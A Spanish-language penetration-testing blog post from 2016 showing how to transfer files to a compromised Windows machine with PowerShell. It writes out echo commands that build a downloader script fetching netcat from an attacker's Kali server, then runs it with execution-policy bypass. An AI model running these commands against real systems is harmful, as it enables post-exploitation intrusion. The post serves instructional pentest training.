Subir Archivos hacia un Sistema Comprometido utilizando PowerShell

  • Posted on: 9 August 2016
  • By: ReYDeS

PowerShell es una plataforma de automatización y lenguaje de scripting para Windows y Windows Server, el cual permite simplificar la gestión de los sistemas. A diferencia de otras shells basadas en texto, PowerShell se beneficia del poder del Framework .NET, proporcionado objetos enriquecidos y un conjunto masivo de funcionalidades incorporadas para tomar control de los entornos Windows.

PowerShell viene instalado por defecto en versiones de Windows 7, 8 en adelante. Este motor de scripting puede ser aprovechado para descargar archivos hacia la máquina comprometida.

La siguiente demostración se basa en un sistema comprometido sobre el cual se tiene acceso shell de comandos en Windows.

El siguiente conjunto de comandos “echo” no interactivos, cuando son pegados en un shell remoto, escribirán un script PowerShell el cual permitirá descargar archivos sobre máquinas con PowerShell instalado.

C:\> echo $storageDir = $pwd > wget.ps1
C:\> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\> echo $url = "http:// 192.168.0.46/nc.exe" >> wget.ps1
C:\> echo $file = "nc.exe" >> wget.ps1
C:\> echo $webclient.DownloadFile($url,$file) >> wget.ps1

Al listar el directorio se encontrará el archivo de nombre “wget.ps1” conteniendo el script PowerShell.

La herramienta a descargar desde el sistema comprometido será netcat, razón por la cual se copia el archivo de nombre “nc.exe” hacia el directorio web raíz de Kali Linux.

# cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe

Ahora se puede utilizar el comando powershell.exe para ejecutar el script de nombre “wget.ps1” creado, y descargar el archivo nc.exe hacia el sistema comprometido. La opción “-ExecutionPolicy” ajusta la política por defecto para la sesión actual y lo guarda en la variable de entorno $env:PSExecutionPolicyPreference. La opción “-Nologo” oculta el banner de derechos de copia al iniciar. La opción “-NonInteractive” no presenta un prompt interactivo hacia el usuario. La opción “-NoProfile” no carga el perfil Windows PowerShell. La opción “-File” ejecuta el script especificado en el alcance local, así las funciones y variables creadas por el script están disponibles en la sesión actual.

C:\> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Si todo ha sido realizado correctamente, el script PowerShell se ejecuta satisfactoriamente, y el archivo de nombre “nc.exe” ha sido descargado en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://msdn.microsoft.com/en-us/powershell/mt173057.aspx
https://msdn.microsoft.com/en-us/powershell/scripting/core-powershell/co...

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Curso de Informática Forense